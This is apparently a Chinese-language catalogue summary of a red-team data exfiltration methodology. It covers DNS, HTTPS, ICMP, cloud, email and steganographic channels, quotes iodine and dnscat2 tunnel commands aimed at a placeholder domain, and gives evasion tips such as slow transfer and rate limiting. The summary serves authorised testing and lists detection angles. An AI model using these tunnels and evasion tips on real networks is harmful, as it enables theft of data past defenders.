用途:面向授权的红队/渗透测试场景,整理数据外传(Data Exfiltration)方法论,按渠道给出工具与命令示例。
主要能力:覆盖 DNS 外传(dnscat2、iodine、dns2tcp、TXT/CNAME 记录编码、慢速滴灌)、HTTPS 隧道(stunnel、域前置/CDN 滥用、合法服务如 Slack webhook、GitHub Gist、Pastebin)、ICMP 隧道(icmpsh、ptunnel-ng、原始 ICMP 嵌入)、云存储投递(S3 预签名 URL、Azure Blob SAS、GCS 签名 URL)、邮件外传(SMTP、Exchange Web Services、草稿法)、隐写(steghide、zsteg、openstego、图像/音频 LSB、文档元数据)、编码与加密(Base64/Hex/Base32 分块、XOR、AES-256-GCM、openssl)、隐蔽信道(HTTP 头编码、chisel SOCKS 隧道、IP ID 字段、时间信道)以及数据暂存(Linux/Windows 打包、切分、清单校验、计划任务传输)。
使用方式:资料以命令与代码片段呈现,如 iodine 服务端 iodined -f -c -P ExfilPassword 10.0.0.1 tunnel.yourdomain.com、客户端 iodine -f -P ExfilPassword tunnel.yourdomain.com;dnscat2 的 ruby dnscat2.rb 与 ./dnscat;stunnel、chisel、icmpsh、ptunnel-ng 等均给出示例调用。DNS 需先配置 NS 记录,云投递使用预签名 URL 免目标端凭据。
适用场景与限制:适用于已获授权、有明确边界的攻防演练与红队评估,用于验证外传检测与响应能力。资料同时列出检测视角(被动 DNS、Zeek 日志、JA3 指纹、CASB、DLP、隐写分析)与规避建议,并提醒慢速传输、控制 DNS 查询速率、ICMP 载荷小于 64 字节、轮换云桶等。该资料为攻击性方法学,未提供授权范围以外的使用说明;具体法律与合规要求暂未提供。